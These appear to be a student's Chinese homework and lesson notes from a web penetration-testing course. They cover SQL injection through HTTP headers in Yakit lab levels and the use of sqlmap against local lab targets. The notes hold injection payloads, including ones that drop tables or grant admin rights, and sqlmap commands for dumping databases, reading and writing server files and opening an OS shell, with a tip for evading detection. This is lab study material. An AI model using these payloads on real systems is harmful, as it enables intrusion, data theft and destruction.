|
WEB渗透测试工程师系统班250303期 第18节课作业
1.实际操作课堂讲解的yakit sql注入靶场,截图 yakit靶场第20关【基于 Referer 的 SQL 注入】 查询语法: SELECT * FROM vulin_visitors WHERE last_access_path = '" + path + "'; payload: ' and sleep(2)--
yakit靶场第21关【基于 X-Forwarded-For 的 SQL 注入】 同第20关,传参点不同
yakit靶场第22关【基于 Path 的SQL注入】
同第20关,传参点不同
1. HTTP请求头里,有哪些字段可能会存在sql注入
常见易受SQL注入的HTTP请求头字段
1.User-Agent
用途:标识客户端浏览器或设备。
风险:若服务器将User-Agent直接存入数据库(如日志系统)且未过滤,攻击者可构造恶意值注入SQL代码。
示例攻击:
User-Agent: ' OR 1=1; --
2.Cookie
用途:携带会话ID或用户数据。
风险:若应用直接解析Cookie值并拼接SQL查询(如查询用户权限),可能被注入。
示例攻击:
Cookie: session_id=1'; DROP TABLE users; --
3.Referer
用途:标记请求来源页面。
风险:若服务器记录Referer到数据库(如流量分析),未过滤的输入可能触发注入。
示例攻击:
Referer: https://example.com/' UNION SELECT password FROM users; --
4.X-Forwarded-For
用途:标识客户端原始IP(常用于代理场景)。
风险:若IP地址未经处理直接存入数据库,攻击者可伪造恶意IP注入。
示例攻击:
X-Forwarded-For: 192.168.1.1'; UPDATE users SET is_admin=1 WHERE user='attacker
5.Authorization
用途:携带认证凭据(如Basic Auth)。
风险:若应用解析用户名/密码后直接拼接SQL语句(如登录查询),可能被注入。
示例攻击:
Authorization: Basic ' OR '1'='1
6.Host
用途:指定目标服务器域名。
风险:多租户应用中,若根据Host动态查询租户数据且未过滤,可能被篡改触发注入。
示例攻击:
Host: example.com'; SELECT * FROM sensitive_data; --
7.自定义头部(如X-User-ID、X-API-Key等)
风险:若应用依赖自定义头部值执行数据库操作(如查询用户信息),未过滤时易受攻击。
3.根据课堂讲解及手册,熟练使用sqlmap工具!!(重要!!)
-u URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1")
测试yakit靶场第2关的漏洞
命令:python sqlmap.py -u "http://192.168.10.104:8787/user/id?id=1"
--current-user 获取 DBMS 当前用户
测试:sqli靶场第一关
命令:python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user
结果:current user: 'root@localhost'
--dbs 枚举出 DBMS 所有数据库
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
示例:获得表【指定数据库】
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
示例:获得列【指定数据库,指定表】
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
--dump 导出DBMS数据库表项
示例:获得数据【指定数据库,指定表】
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --dump
--is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员)
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba
--os-shell 调出交互式操作系统 shell
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell
-r REQUESTFILE 从文件中读取 HTTP 请求
POST传参中使用,请求包复制到文件里保存,注入点后面加个*号
python sqlmap.py -r -test.txt
-m BULKFILE 从文本文件中获取批量目标
--method=METHOD 强制使用提供的 HTTP 方法(例如:PUT)
--cookie=COOKIE 指定 HTTP Cookie
--proxy=PROXY 使用代理连接目标 URL
--user-agent=AGENT 指定 HTTP User-Agent
使用随机UA头,规避强特征
--timeout=TIMEOUT 设置连接响应的有效秒数(默认为 30)
--retries=RETRIES 连接超时时重试次数(默认为 3)
--level=LEVEL 设置测试等级(1-5,默认为 1)
--risk=RISK 设置测试风险等级(1-3,默认为 1)
--file-read=RFILE 读取后端 DBMS 文件系统中的文件
--file-write=WFILE 写入后端 DBMS 文件系统中的文件
脚本使⽤:https://blog.csdn.net/qq_43665434/article/details/117673226
一、笔记标题:WEB渗透系统班-靶场收尾&sqlmap(上)+vulfocus&sqlmap(下)
二、文章内容:
1. 课程内容概要
主要知识点1:yakit靶场20-22关
主要知识点2:sqlmap的使用
主要知识点3:vulfocus 搭建
2.重点知识与细节
概念解析
概念1: Web常见漏洞描述及修复建议
https://www.cnblogs.com/iAmSoScArEd/p/10651947.html#auto_id_19
关键步骤
步骤1:无
相关代码 无
3.实操练习 和 解析
见作业
4.个人总结
本节课最大的收获是:学习了SQL注入的更多场景,学习了sqlmap的使用
仍然存在疑问的地方:sqlmap的更多参数
需要课后深入学习的内容:sqlmap的各种参数以及应用
|